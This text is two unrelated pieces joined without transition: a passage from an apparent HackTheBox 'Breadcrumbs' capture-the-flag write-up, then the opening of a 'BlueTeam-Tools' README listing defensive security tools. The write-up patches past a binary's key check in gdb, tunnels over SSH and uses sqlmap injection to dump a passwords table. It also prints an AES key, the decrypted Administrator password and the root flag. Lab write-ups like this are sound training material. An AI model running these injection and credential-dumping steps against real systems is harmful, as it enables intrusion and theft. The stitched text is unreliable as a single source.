Krypter_Linux: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=ab1fa8d6929805501e1793c8b4ddec5c127c6a12, for GNU/Linux 3.2.0, not stripped
```
By running this file we get:
```console
┌─[evyatar@parrot]─[/hackthebox/Breadcrumbs]
└──╼ $ ./Krypter_Linux
Krypter V1.2
New project by Juliette.
New features added weekly!
What to expect next update:
- Windows version with GUI support
- Get password from cloud and AUTOMATICALLY decrypt!
***
No key supplied.
USAGE:
Krypter <key>
```
By decompilng this file using [Ghidra](https://ghidra-sre.org/) we can see the ```main``` function:
```c
undefined8 main(int param_1,long param_2)
{
size_t sVar1;
basic_ostream *this;
ulong uVar2;
basic_string local_58 [44];
undefined4 local_2c;
long local_28;
int local_20;
int local_1c;
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string();
/* try { // try from 00101263 to 001013cf has its CatchHandler @ 001013e5 */
local_28 = curl_easy_init();
puts(
"Krypter V1.2\n\nNew project by Juliette.\nNew features added weekly!\nWhat to expect next update:\n\t- Windows version with GUI support\n\t- Get password from cloud and AUTOMATICALLY decrypt!\n***\n"
);
if (param_1 == 2) {
local_1c = 0;
local_20 = 0;
while( true ) {
uVar2 = SEXT48(local_20);
sVar1 = strlen(*(char **)(param_2 + 8));
if (sVar1 <= uVar2) break;
local_1c = local_1c + *(char *)((long)local_20 + *(long *)(param_2 + 8));
local_20 = local_20 + 1;
}
if (local_1c == 0x641) {
if (local_28 != 0) {
puts("Requesting decryption key from cloud...\nAccount: Administrator");
curl_easy_setopt(local_28,0x2712,"http://passmanager.htb:1234/index.php");
curl_easy_setopt(local_28,0x271f,"method=select&username=administrator&table=passwords");
curl_easy_setopt(local_28,0x4e2b,WriteCallback);
curl_easy_setopt(local_28,0x2711,local_58);
local_2c = curl_easy_perform(local_28);
curl_easy_cleanup(local_28);
puts("Server response:\n\n");
this = std::operator<<((basic_ostream *)std::cout,local_58);
std::basic_ostream<char,std::char_traits<char>>::operator<<
((basic_ostream<char,std::char_traits<char>> *)this,
std::endl<char,std::char_traits<char>>);
}
}
else {
puts("Incorrect master key");
}
}
else {
puts("No key supplied.\nUSAGE:\n\nKrypter <key>");
}
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string
((basic_string<char,std::char_traits<char>,std::allocator<char>> *)local_58);
return 0;
}
```
As we can see it's make HTTP request to ```http://passmanager.htb:1234/index.php``` (Which is like web server localhost), Because we don't have access to this port on web server - If we want to run it locally we need to create SSH tunnel as follow:
```console
┌─[evyatar@parrot]─[/hackthebox/Breadcrumbs]
└──╼ $ ssh -N -L 1234:127.0.0.1:1234 [email protected]
┌─[evyatar@parrot]─[/hackthebox/Breadcrumbs]
└──╼ $ curl http://localhost:1234/index.php
Bad Request
```
By debug this file using [gdb](https://www.gnu.org/software/gdb/) we can break on the if statements and make the program to execute the curl reqeusts as follow:
```asm
┌─[evyatar@parrot]─[/hackthebox/Breadcrumbs]
└──╼ $ gdb Krypter_Linux
gef➤ disassemble main
Dump of assembler code for function main:
0x0000555555555247 <+0>: push rbp
0x0000555555555248 <+1>: mov rbp,rsp
0x000055555555524b <+4>: push rbx
0x000055555555524c <+5>: sub rsp,0x58
0x0000555555555250 <+9>: mov DWORD PTR [rbp-0x54],edi
0x0000555555555253 <+12>: mov QWORD PTR [rbp-0x60],rsi
0x0000555555555257 <+16>: lea rax,[rbp-0x50]
0x000055555555525b <+20>: mov rdi,rax
0x000055555555525e <+23>: call 0x555555555060 <_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEC1Ev@plt>
0x0000555555555263 <+28>: call 0x5555555550d0 <curl_easy_init@plt>
0x0000555555555268 <+33>: mov QWORD PTR [rbp-0x20],rax
0x000055555555526c <+37>: lea rdi,[rip+0xd9d] # 0x555555556010
0x0000555555555273 <+44>: call 0x5555555550f0 <puts@plt>
0x0000555555555278 <+49>: cmp DWORD PTR [rbp-0x54],0x2
0x000055555555527c <+53>: jne 0x5555555553c4 <main+381>
0x0000555555555282 <+59>: mov DWORD PTR [rbp-0x14],0x0
0x0000555555555289 <+66>: mov DWORD PTR [rbp-0x18],0x0
0x0000555555555290 <+73>: mov eax,DWORD PTR [rbp-0x18]
0x0000555555555293 <+76>: movsxd rbx,eax
0x0000555555555296 <+79>: mov rax,QWORD PTR [rbp-0x60]
0x000055555555529a <+83>: add rax,0x8
0x000055555555529e <+87>: mov rax,QWORD PTR [rax]
0x00005555555552a1 <+90>: mov rdi,rax
0x00005555555552a4 <+93>: call 0x555555555070 <strlen@plt>
0x00005555555552a9 <+98>: cmp rbx,rax
0x00005555555552ac <+101>: jae 0x5555555552d0 <main+137>
0x00005555555552ae <+103>: mov rax,QWORD PTR [rbp-0x60]
0x00005555555552b2 <+107>: add rax,0x8
0x00005555555552b6 <+111>: mov rdx,QWORD PTR [rax]
0x00005555555552b9 <+114>: mov eax,DWORD PTR [rbp-0x18]
0x00005555555552bc <+117>: cdqe
0x00005555555552be <+119>: add rax,rdx
0x00005555555552c1 <+122>: movzx eax,BYTE PTR [rax]
0x00005555555552c4 <+125>: movsx eax,al
0x00005555555552c7 <+128>: add DWORD PTR [rbp-0x14],eax
0x00005555555552ca <+131>: add DWORD PTR [rbp-0x18],0x1
0x00005555555552ce <+135>: jmp 0x555555555290 <main+73>
0x00005555555552d0 <+137>: cmp DWORD PTR [rbp-0x14],0x641
0x00005555555552d7 <+144>: jne 0x5555555553b6 <main+367>
0x00005555555552dd <+150>: cmp QWORD PTR [rbp-0x20],0x0
0x00005555555552e2 <+155>: je 0x5555555553d0 <main+393>
0x00005555555552e8 <+161>: lea rdi,[rip+0xde1] # 0x5555555560d0
0x00005555555552ef <+168>: call 0x5555555550f0 <puts@plt>
0x00005555555552f4 <+173>: mov rax,QWORD PTR [rbp-0x20]
0x00005555555552f8 <+177>: lea rdx,[rip+0xe11] # 0x555555556110
0x00005555555552ff <+184>: mov esi,0x2712
0x0000555555555304 <+189>: mov rdi,rax
0x0000555555555307 <+192>: mov eax,0x0
0x000055555555530c <+197>: call 0x5555555550b0 <curl_easy_setopt@plt>
0x0000555555555311 <+202>: mov rax,QWORD PTR [rbp-0x20]
0x0000555555555315 <+206>: lea rdx,[rip+0xe1c] # 0x555555556138
0x000055555555531c <+213>: mov esi,0x271f
0x0000555555555321 <+218>: mov rdi,rax
0x0000555555555324 <+221>: mov eax,0x0
0x0000555555555329 <+226>: call 0x5555555550b0 <curl_easy_setopt@plt>
0x000055555555532e <+231>: mov rax,QWORD PTR [rbp-0x20]
0x0000555555555332 <+235>: lea rdx,[rip+0xfffffffffffffecc] # 0x555555555205 <_ZL13WriteCallbackPvmmS_>
0x0000555555555339 <+242>: mov esi,0x4e2b
0x000055555555533e <+247>: mov rdi,rax
0x0000555555555341 <+250>: mov eax,0x0
0x0000555555555346 <+255>: call 0x5555555550b0 <curl_easy_setopt@plt>
0x000055555555534b <+260>: lea rdx,[rbp-0x50]
0x000055555555534f <+264>: mov rax,QWORD PTR [rbp-0x20]
0x0000555555555353 <+268>: mov esi,0x2711
0x0000555555555358 <+273>: mov rdi,rax
0x000055555555535b <+276>: mov eax,0x0
0x0000555555555360 <+281>: call 0x5555555550b0 <curl_easy_setopt@plt>
0x0000555555555365 <+286>: mov rax,QWORD PTR [rbp-0x20]
0x0000555555555369 <+290>: mov rdi,rax
0x000055555555536c <+293>: call 0x555555555090 <curl_easy_perform@plt>
0x0000555555555371 <+298>: mov DWORD PTR [rbp-0x24],eax
0x0000555555555374 <+301>: mov rax,QWORD PTR [rbp-0x20]
0x0000555555555378 <+305>: mov rdi,rax
0x000055555555537b <+308>: call 0x555555555030 <curl_easy_cleanup@plt>
0x0000555555555380 <+313>: lea rdi,[rip+0xde6] # 0x55555555616d
0x0000555555555387 <+320>: call 0x5555555550f0 <puts@plt>
0x000055555555538c <+325>: lea rax,[rbp-0x50]
0x0000555555555390 <+329>: mov rsi,rax
0x0000555555555393 <+332>: lea rdi,[rip+0x2d26] # 0x5555555580c0 <_ZSt4cout@@GLIBCXX_3.4>
0x000055555555539a <+339>: call 0x555555555040 <_ZStlsIcSt11char_traitsIcESaIcEERSt13basic_ostreamIT_T0_ES7_RKNSt7__cxx1112basic_stringIS4_S5_T1_EE@plt>
0x000055555555539f <+344>: mov rdx,rax
0x00005555555553a2 <+347>: mov rax,QWORD PTR [rip+0x2c47] # 0x555555557ff0
0x00005555555553a9 <+354>: mov rsi,rax
0x00005555555553ac <+357>: mov rdi,rdx
0x00005555555553af <+360>: call 0x555555555100 <_ZNSolsEPFRSoS_E@plt>
0x00005555555553b4 <+365>: jmp 0x5555555553d0 <main+393>
0x00005555555553b6 <+367>: lea rdi,[rip+0xdc3] # 0x555555556180
0x00005555555553bd <+374>: call 0x5555555550f0 <puts@plt>
0x00005555555553c2 <+379>: jmp 0x5555555553d0 <main+393>
0x00005555555553c4 <+381>: lea rdi,[rip+0xdcd] # 0x555555556198
0x00005555555553cb <+388>: call 0x5555555550f0 <puts@plt>
0x00005555555553d0 <+393>: mov ebx,0x0
0x00005555555553d5 <+398>: lea rax,[rbp-0x50]
0x00005555555553d9 <+402>: mov rdi,rax
0x00005555555553dc <+405>: call 0x5555555550a0 <_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev@plt>
0x00005555555553e1 <+410>: mov eax,ebx
0x00005555555553e3 <+412>: jmp 0x5555555553ff <main+440>
0x00005555555553e5 <+414>: mov rbx,rax
0x00005555555553e8 <+417>: lea rax,[rbp-0x50]
0x00005555555553ec <+421>: mov rdi,rax
0x00005555555553ef <+424>: call 0x5555555550a0 <_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev@plt>
0x00005555555553f4 <+429>: mov rax,rbx
0x00005555555553f7 <+432>: mov rdi,rax
0x00005555555553fa <+435>: call 0x555555555080 <_Unwind_Resume@plt>
0x00005555555553ff <+440>: add rsp,0x58
0x0000555555555403 <+444>: pop rbx
0x0000555555555404 <+445>: pop rbp
0x0000555555555405 <+446>: ret
End of assembler dump.
```
We can see the if statements on ```0x00005555555552d0 <+137>: cmp DWORD PTR [rbp-0x14],0x641```, Let's breakpoint at this lines and run it:
```asm
gef➤ b *main+137
gef➤ b *main+155
gef➤ r 1
... file output...
gef➤ jump *main+150
gef➤ jump *main+161
Continuing at 0x5555555552e8.
Requesting decryption key from cloud...
Account: Administrator
[New Thread 0x7ffff6c6f700 (LWP 2706099)]
[Thread 0x7ffff6c6f700 (LWP 2706099) exited]
Server response:
selectarray(1) {
[0]=>
array(1) {
["aes_key"]=>
string(16) "k19D193j.<19391("
}
}
[Inferior 1 (process 2706090) exited normally]
```
And we can see the ```aes_key``` which is ```k19D193j.<19391(```.
As we can see from the code it make HTTP request to [http://passmanager.htb:1234/index.php](http://passmanager.htb:1234/index.php`) with ```method=select&username=administrator&table=passwords```.
The request body "translate" to something like ```select * from passwords where username=administrator```.
Let's try to use ```sqlmap``` against it as follow:
```console
┌─[evyatar@parrot]─[/hackthebox/Breadcrumbs]
└──╼ $ sqlmap -u 'http://127.0.0.1:1234/index.php?method=select&username=administrator&table=passwords' -p username --dbs
...
[23:39:35] [INFO] fetching database names
available databases [2]:
[*] bread
[*] information_schema
```
And we get sql injection, Let's try to read ```bread``` table:
```console
┌─[evyatar@parrot]─[/hackthebox/Breadcrumbs]
└──╼ $ sqlmap -u 'http://127.0.0.1:1234/index.php?method=select&username=administrator&table=passwords' -p username -D bread --tables
...
[23:43:29] [INFO] fetching tables for database: 'bread'
Database: bread
[1 table]
+-----------+
| passwords |
+-----------+
```
Let's dump this table:
```console
┌─[evyatar@parrot]─[/hackthebox/Breadcrumbs]
└──╼ $ sqlmap -u 'http://127.0.0.1:1234/index.php?method=select&username=administrator&table=passwords' -p username -D bread --tables -T passwords --dump
...
[23:45:49] [WARNING] no clear password(s) found
Database: bread
Table: passwords
[1 entry]
+----+---------------+------------------+----------------------------------------------+
| id | account | aes_key | password |
+----+---------------+------------------+----------------------------------------------+
| 1 | Administrator | k19D193j.<19391( | H2dFz/jNwtSTWDURot9JBhWMP6XOdmcpgqvYHG35QKw= |
+----+---------------+------------------+----------------------------------------------+
```
So we have the AES key: ```k19D193j.<19391(``` (Which we already have from ```gdb```) and the cipher text (Base64): ```H2dFz/jNwtSTWDURot9JBhWMP6XOdmcpgqvYHG35QKw=```.
We can decrypt it [online](https://www.devglan.com/online-tools/aes-encryption-decryption):
And we get the Administrator password: ```p@ssw0rd!@#$9890./```.
Now, let's connect using ```ssh``` to get the root flag:
```console
┌─[evyatar@parrot]─[/hackthebox/Breadcrumbs]
└──╼ $ ssh [email protected]
[email protected]'s password:
Microsoft Windows [Version 10.0.19041.746]
(c) 2020 Microsoft Corporation. All rights reserved.
administrator@BREADCRUMBS C:\Users\Administrator>cd Desktop
administrator@BREADCRUMBS C:\Users\Administrator\Desktop>type root.txt
77d3e50413af3cefa5b5757cb0386997
```
And we get the root flag ```77d3e50413af3cefa5b5757cb0386997```.
 |
# BlueTeam-Tools
<p align="center">
<img src="https://user-images.githubusercontent.com/100603074/210680535-40d8c113-2336-4417-bdb4-4825a7477164.png" height="300">
</p>
This github repository contains a collection of **65+** **tools** and **resources** that can be useful for **blue teaming activities**.
Some of the tools may be specifically designed for blue teaming, while others are more general-purpose and can be adapted for use in a blue teaming context.
> 🔗 If you are a Red Teamer, check out [RedTeam-Tools](https://github.com/A-poc/RedTeam-Tools)
> **Warning**
>
> *The materials in this repository are for informational and educational purposes only. They are not intended for use in any illegal activities.*
> **Note**
>
> *Hide Tool List headings with the arrow.*
>
> *Click 🔙 to get back to the list.*
# Tool List
<details open>
<summary><b>Blue Team Tips</b> 4 tips</summary>
<ul>
<ul>
<li><b><a href="#payload-extraction-with-process-hacker">Payload extraction with Process Hacker</a></b><i> @embee_research</i></li>
<li><b><a href="#prevent-script-execution-via-double-click">Prevent Script Execution via Double Click</a></b><i> Default Application GPO Change</i></li>
<li><b><a href="#detect-cryptojacking-malware-with-proxy-logs">Detect Cryptojacking Malware with Proxy Logs</a></b><i> Dave Mckay</i></li>
<li><b><a href="#remove-null-bytes-in-cyberchef-malware-analysis">Remove null bytes in CyberChef malware analysis</a></b><i> @Securityinbits</i></li>
</ul>
</ul>
</details>
<details open>
<summary><b>Network Discovery and Mapping</b> 6 tools</summary>
<ul>
<ul>
<li><b><a href="#nmap">Nmap</a></b><i> Network scanner</i></li>
<li><b><a href="#nuclei">Nuclei</a></b><i> Vulnerability scanner</i></li>
<li><b><a href="#masscan">Masscan</a></b><i> Fast network scanner</i></li>
<li><b><a href="#angry-ip-scanner">Angry IP Scanner</a></b><i> IP/port scanner</i></li>
<li><b><a href="#zmap">ZMap</a></b><i> Large network scanner</i></li>
<li><b><a href="#shodan">Shodan</a></b><i> Internet facing asset search engine</i></li>
</ul>
</ul>
</details>
<details open>
<summary><b>Vulnerability Management</b> 4 tools</summary>
<ul>
<ul>
<li><b><a href="#openvas">OpenVAS</a></b><i> Open-source vulnerability scanner</i></li>
<li><b><a href="#nessus-essentials">Nessus Essentials</a></b><i> Vulnerability scanner</i></li>
<li><b><a href="#nexpose">Nexpose</a></b><i> Vulnerability management tool</i></li>
<li><b><a href="#hackerone">HackerOne</a></b><i> Bug Bounty Management Platform</i></li>
</ul>
</ul>
</details>
<details open>
<summary><b>Security Monitoring</b> 10 tools</summary>
<ul>
<ul>
<li><b><a href="#sysmon">Sysmon</a></b><i> System Monitor for Windows</i></li>
<li><b><a href="#kibana">Kibana</a></b><i> Data visualization and exploration</i></li>
<li><b><a href="#logstash">Logstash</a></b><i> Data collection and processing</i></li>
<li><b><a href="#parsedmarc">parsedmarc</a></b><i> Email DMARC data visualisation</i></li>
<li><b><a href="#phishing-catcher">Phishing Catcher</a></b><i> Phishing catcher using Certstream</i></li>
<li><b><a href="#maltrail">maltrail</a></b><i> Malicious traffic detection system</i></li>
<li><b><a href="#autorunstowineventlog">AutorunsToWinEventLog</a></b><i> Windows AutoRuns Event Parser</i></li>
<li><b><a href="#procfilter">procfilter</a></b><i> YARA-integrated process denial framework</i></li>
<li><b><a href="#velociraptor">velociraptor</a></b><i> Endpoint visibility and collection tool</i></li>
<li><b><a href="#sysmonsearch">SysmonSearch</a></b><i> Sysmon event log visualisation</i></li>
</ul>
</ul>
</details>
<details open>
<summary><b>Threat Tools and Techniques</b> 11 tools</summary>
<ul>
<ul>
<li><b><a href="#lolbas-projectgithubio">lolbas-project.github.io</a></b><i> Living Off The Land Windows Binaries</i></li>
<li><b><a href="#gtfobinsgithubio">gtfobins.github.io</a></b><i> Living Off The Land Linux Binaries</i></li>
<li><b><a href="#filesecio">filesec.io</a></b><i> Attacker file extensions</i></li>
<li><b><a href="#kql-search">KQL Search</a></b><i> KQL query aggregator</i></li>
<li><b><a href="#unprotect-project">Unprotect Project</a></b><i> Malware evasion techniques knowledge base</i></li>
<li><b><a href="#chainsaw">chainsaw</a></b><i> Fast Windows Forensic Artefacts Searcher</i></li>
<li><b><a href="#freq">freq</a></b><i> Domain generation algorithm malware detection</i></li>
<li><b><a href="#yargen">yarGen</a></b><i> YARA rule generator</i></li>
<li><b><a href="#emailanalyzer">EmailAnalyzer</a></b><i> Suspicious emails analyser</i></li>
<li><b><a href="#vcg">VCG</a></b><i> Code security scanning tool</i></li>
<li><b><a href="#cyberchef">CyberChef</a></b><i> GCHQ online data manipulation platform</i></li>
</ul>
</ul>
</details>
<details open>
<summary><b>Threat Intelligence</b> 4 tools</summary>
<ul>
<ul>
<li><b><a href="#maltego">Maltego</a></b><i> Threat Intelligence Platform</i></li>
<li><b><a href="#misp">MISP</a></b><i> Malware Information Sharing Platform</i></li>
<li><b><a href="#threatconnect">ThreatConnect</a></b><i> Threat data aggregation</i></li>
<li><b><a href="#adversary-emulation-library">Adversary Emulation Library</a></b><i> An open library of adversary emulation plans</i></li>
</ul>
</ul>
</details>
<details open>
<summary><b>Incident Response Planning</b> 5 tools</summary>
<ul>
<ul>
<li><b><a href="#nist">NIST</a></b><i> Cybersecurity Framework</i></li>
<li><b><a href="#incident-response-plan">Incident Response Plan</a></b><i> Framework for incident response</i></li>
<li><b><a href="#ransomware-response-plan">Ransomware Response Plan</a></b><i> Framework for ransomware response</i></li>
<li><b><a href="#incident-response-reference-guide">Incident Response Reference Guide</a></b><i> Incident preparation guidance paper</i></li>
<li><b><a href="#awesome-incident-response">Awesome Incident Response</a></b><i> List of tools for incident response</i></li>
</ul>
</ul>
</details>
<details open>
<summary><b>Malware Detection and Analysis</b> 11 tools</summary>
<ul>
<ul>
<li><b><a href="#virustotal">VirusTotal</a></b><i> Malicious IOC Sharing Platform</i></li>
<li><b><a href="#ida">IDA</a></b><i> Malware disassembler and debugger</i></li>
<li><b><a href="#ghidra">Ghidra</a></b><i> Malware reverse engineering tool</i></li>
<li><b><a href="#decode-vbe">decode-vbe</a></b><i> Encoded VBE script decoder</i></li>
<li><b><a href="#pafish">pafish</a></b><i> Virtual machine sandbox detector</i></li>
<li><b><a href="#lookyloo">lookyloo</a></b><i> Phishing domain mapping</i></li>
<li><b><a href="#yara">YARA</a></b><i> Malware identification via pattern matching</i></li>
<li><b><a href="#cuckoo-sandbox">Cuckoo Sandbox</a></b><i> Malware analysis sandbox</i></li>
<li><b><a href="#radare2">Radare2</a></b><i> Reverse engineering framework</i></li>
<li><b><a href="#dnspy">dnSpy</a></b><i> .NET debugger and assembly editor</i></li>
<li><b><a href="#malware-traffic-analysisnet">malware-traffic-analysis.net</a></b><i> Malware and packet capture samples</i></li>
</ul>
</ul>
</details>
<details open>
<summary><b>Data Recovery</b> 3 tools</summary>
<ul>
<ul>
<li><b><a href="#recuva">Recuva</a></b><i> File recovery</i></li>
<li><b><a href="#extundelete">Extundelete</a></b><i> Ext3 or ext4 partition recovery</i></li>
<li><b><a href="#testdisk">TestDisk</a></b><i> Data Recovery</i></li>
</ul>
</ul>
</details>
<details open>
<summary><b>Digital Forensics</b> 3 tools</summary>
<ul>
<ul>
<li><b><a href="#sans-sift">SANS SIFT</a></b><i> Forensic toolkit</i></li>
<li><b><a href="#the-sleuth-kit">The Sleuth Kit</a></b><i> Disk images analysis tools</i></li>
<li><b><a href="#autopsy">Autopsy</a></b><i> Digital forensics platform</i></li>
</ul>
</ul>
</details>
<details open>
<summary><b>Security Awareness Training</b> 3 tools</summary>
<ul>
<ul>
<li><b><a href="#tryhackme">TryHackMe</a></b><i> Cyber security challenges platform</i></li>
<li><b><a href="#hackthebox">HackTheBox</a></b><i> Cyber security challenges platform</i></li>
<li><b><a href="#phishme">PhishMe</a></b><i> Phishing training</i></li>
</ul>
</ul>
</details>
<details open>
<summary><b>Communication and Collaboration</b> 2 tools</summary>
<ul>
<ul>
<li><b><a href="#twitter">Twitter</a></b><i> Cyber Security Accounts</i></li>
<li><b><a href="#facebook-theatexchange">Facebook TheatExchange</a></b><i> Malicious indicators sharing platform</i></li>
</ul>
</ul>
</details>
Blue Team Tips
====================
*Learn from Blue Teamers with a collection of Blue Teaming Tips. These tips cover a range of tactics, tools, and methodologies to improve your blue teaming abilities.*
### [🔙](#tool-list)Payload extraction with Process Hacker
**Description:**
*'Malware Analysis Tip - Use Process Hacker to watch for suspicious .NET assemblies in newly spawned processes. Combined with DnSpy - it's possible to locate and extract malicious payloads without needing to manually de-obfuscate.'*
**Credit:** [@embee_research](https://twitter.com/embee_research)
**Link:** [Twitter](https://twitter.com/embee_research/status/1614871485931458560)
### [🔙](#tool-list)Prevent Script Execution via Double Click
**Description:**
*On Windows, it's common to see threat actors achieve initial execution via malicious script files masquerading as Microsoft Office files. A nice way to prevent this attack chain is to alter the default application associated with these files (HTA, JS, VBA, VBS) to `notepad.exe`. Now when a user is successfully tricked into clicking a HTA file on disk it will open the script in notepad and execution will not occur*.
**Credit:** [bluesoul](https://bluesoul.me/)
**Link:** [Blog](https://bluesoul.me/2016/05/12/use-gpo-to-change-the-default-behavior-of-potentially-malicious-file-extensions/)
### [🔙](#tool-list)Detect Cryptojacking Malware with Proxy Logs
**Description:** *Cryptojacking malware is becoming more suffisticated, with mining malware leveraging DLL sideloading to hide on machine and reducing CPU load to stay below detection thresholds. One thing they all have in common is they have to make connections to mining pools, this is where we can find them. Monitor your proxy and DNS logs for connections containing common mining pool strings (e.g `*xmr.*` OR `*pool.com` OR `*pool.org` OR `pool.*`).*
**Credit:** [Dave Mckay](https://www.howtogeek.com/author/davidmckay/)
**Link:** [Blog](https://www.howtogeek.com/devops/how-to-detect-and-defeat-cryptominers-in-your-network/)
### [🔙](#tool-list)Remove null bytes in CyberChef malware analysis
**Description:** *'After decoding base64 for Unicode string during malware analysis, you may encounter null bytes. Keep your code readable by using the "Remove null bytes" operation in CyberChef'.*
**Credit:** [Ayush Anand](https://twitter.com/Securityinbits)
**Link:** [Twitter](https://twitter.com/securityinbits/status/1628364983661694976)
Network Discovery and Mapping
====================
*Tools for scanning and mapping out the network, discovering devices and services, and identifying potential vulnerabilities.*
### [🔙](#tool-list)[Nmap](https://nmap.org)
Nmap (short for Network Mapper) is a free and open-source network scanner tool used to discover hosts and services on a computer network, and to probe for information about their characteristics.
It can be used to determine which ports on a network are open and what services are running on those ports. Including the ability to identify security vulnerabilities on the network.
**Install:**
You can download the latest release from [here](https://nmap.org/download).
**Usage:**
```bash
# Scan a single IP
nmap 192.168.1.1
# Scan a range
nmap 192.168.1.1-254
# Scan targets from a file
nmap -iL targets.txt
# Port scan for port 21
nmap 192.168.1.1 -p 21
# Enables OS detection, version detection, script scanning, and traceroute
nmap 192.168.1.1 -A
```
Nice usage [cheat sheet](https://www.stationx.net/nmap-cheat-sheet/).
*Image used from https://kirelos.com/nmap-version-scan-determining-the-version-and-available-services/*
### [🔙](#tool-list)[Nuclei](https://nuclei.projectdiscovery.io/nuclei/get-started/)
A specialized tool designed to automate the process of detecting vulnerabilities in web applications, networks, and infrastructure.
Nuclei uses pre-defined templates to probe a target and identify potential vulnerabilities. It can be used to test a single host or a range of hosts, and can be configured to run a variety of tests to check for different types of vulnerabilities.
**Install:**
```bash
git clone https://github.com/projectdiscovery/nuclei.git; \
cd nuclei/v2/cmd/nuclei; \
go build; \
mv nuclei /usr/local/bin/; \
nuclei -version;
```
**Usage:**
```bash
# All the templates gets executed from default template installation path.
nuclei -u https://example.com
# Custom template directory or multiple template directory
nuclei -u https://example.com -t cves/ -t exposures/
# Templates can be executed against list of URLs
nuclei -list http_urls.txt
# Excluding single template
nuclei -list urls.txt -t cves/ -exclude-templates cves/2020/CVE-2020-XXXX.yaml
```
Full usage information can be found [here](https://nuclei.projectdiscovery.io/nuclei/get-started/#running-nuclei).
*Image used from https://www.appsecsanta.com/nuclei*
### [🔙](#tool-list)[Masscan]()
A port scanner that is similar to nmap, but is much faster and can scan a large number of ports in a short amount of time.
Masscan uses a novel technique called "SYN scan" to scan networks, which allows it to scan a large number of ports very quickly.
**Install: (Apt)**
```bash
sudo apt install masscan
```
**Install: (Git)**
```bash
sudo apt-get install clang git gcc make libpcap-dev
git clone https://github.com/robertdavidgraham/masscan
cd masscan
make
```
**Usage:**
```bash
# Scan for a selection of ports (-p22,80,445) across a given subnet (192.168.1.0/24)
masscan -p22,80,445 192.168.1.0/24
# Scan a class B subnet for ports 22 through 25
masscan 10.11.0.0/16 -p22-25
# Scan a class B subnet for the top 100 ports at 100,000 packets per second
masscan 10.11.0.0/16 ‐‐top-ports 100 ––rate 100000
# Scan a class B subnet, but avoid the ranges in exclude.txt
masscan 10.11.0.0/16 ‐‐top-ports 100 ‐‐excludefile exclude.txt
```
*Image used from https://kalilinuxtutorials.com/masscan/*
### [🔙](#tool-list)[Angry IP Scanner](https://angryip.org/)
A free and open-source tool for scanning IP addresses and ports.
It's a cross-platform tool, designed to be fast and easy to use, and can scan an entire network or a range of IP addresses to find live hosts.
Angry IP Scanner can also detect the hostname and MAC address of a device, and can be used to perform basic ping sweeps and port scans.
**Install:**
You can download the latest release from [here](https://angryip.org/download/).
**Usage:**
Angry IP Scanner can be used via the GUI.
Full usage information and documentation can be found [here](https://angryip.org/documentation/).
*Image used from https://angryip.org/screenshots/*
### [🔙](#tool-list)[ZMap](https://github.com/zmap/zmap)
ZMap is a network scanner designed to perform comprehensive scans of the IPv4 address space or large portions of it.
On a typical desktop computer with a gigabit Ethernet connection, ZMap is capable scanning the entire public IPv4 address space in under 45 minutes.
**Install:**
You can download the latest release from [here](https://github.com/zmap/zmap/releases).
**Usage:**
```bash
# Scan only 10.0.0.0/8 and 192.168.0.0/16 on TCP/80
zmap -p 80 10.0.0.0/8 192.168.0.0/16
```
Full usage information can be found [here](https://github.com/zmap/zmap/wiki).
*Image used from https://www.hackers-arise.com/post/zmap-for-scanning-the-internet-scan-the-entire-internet-in-45-minutes*
### [🔙](#tool-list)[Shodan]()
Shodan is a search engine for internet-connected devices.
It crawls the internet for assets, allowing users to search for specific devices and view information about them.
This information can include the device's IP address, the software and version it is running, and the type of device it is.
**Install:**
The search engine can be accessed at [https://www.shodan.io/dashboard](https://www.shodan.io/dashboard).
**Usage:**
[Shodan query fundamentals](https://help.shodan.io/the-basics/search-query-fundamentals)
[Shodan query examples](https://www.shodan.io/search/examples)
[Nice query cheatsheet](https://www.osintme.com/index.php/2021/01/16/ultimate-osint-with-shodan-100-great-shodan-queries/)
*Image used from https://www.shodan.io/*
Vulnerability Management
====================
*Tools for identifying, prioritizing, and mitigating vulnerabilities in the network and on individual devices.*
### [🔙](#tool-list)[OpenVAS](https://openvas.org/)
OpenVAS is an open-source vulnerability scanner that helps identify security vulnerabilities in software and networks.
It is a tool that can be used to perform network security assessments and is often used to identify vulnerabilities in systems and applications so that they can be patched or mitigated.
OpenVAS is developed by the Greenbone Networks company and is available as a free and open-source software application.
**Install: (Kali)**
```bash
apt-get update
apt-get dist-upgrade
apt-get install openvas
openvas-setup
```
**Usage:**
```bash
openvas-start
```
Visit https://127.0.0.1:9392, accept the SSL certificate popup and login with admin credentials:
- username:admin
- password:(*Password in openvas-setup command output*)
*Image used from https://www.kali.org/blog/openvas-vulnerability-scanning/*
### [🔙](#tool-list)[Nessus Essentials](https://www.tenable.com/products/nessus/nessus-essentials)
Nessus is a vulnerability scanner that helps identify and assess the vulnerabilities that exist within a network or computer system.
It is a tool that is used to perform security assessments and can be used to identify vulnerabilities in systems and applications so that they can be patched or mitigated.
Nessus is developed by Tenable, Inc. and is available in both free and paid versions:
- The free version, called Nessus Essentials, is available for personal use only and is limited in its capabilities compared to the paid version.
- The paid version, called Nessus Professional, is more fully featured and is intended for use in a professional setting.
**Install:**
Register for a Nessus Essentials activation code [here](https://www.tenable.com/products/nessus/nessus-essentials) and download.
Purchase Nessus Professional from [here](https://www.tenable.com/products/nessus/nessus-professional).
**Usage:**
Extensive documentation can be found [here](https://docs.tenable.com/nessus/Content/GetStarted.htm).
[Nessus Plugins Search](https://www.tenable.com/plugins/search)
[Tenable Community](https://community.tenable.com/)
*Image used from https://www.tenable.com*
### [🔙](#tool-list)[Nexpose](https://www.rapid7.com/products/nexpose/)
Nexpose is a vulnerability management tool developed by Rapid7. It is designed to help organizations identify and assess vulnerabilities in their systems and applications in order to mitigate risk and improve security.
Nexpose can be used to scan networks, devices, and applications in order to identify vulnerabilities and provide recommendations for remediation.
It also offers features such as asset discovery, risk prioritization, and integration with other tools in the Rapid7 vulnerability management platform.
**Install:**
For detailed installation instructions see [here](https://docs.rapid7.com/nexpose/install/).
**Usage:**
For full login information see [here](https://docs.rapid7.com/nexpose/log-in-and-activate).
For usage and scan creation instructions see [here](https://docs.rapid7.com/nexpose/create-and-scan-a-site).
*Image used from https://www.rapid7.com/products/nexpose/*
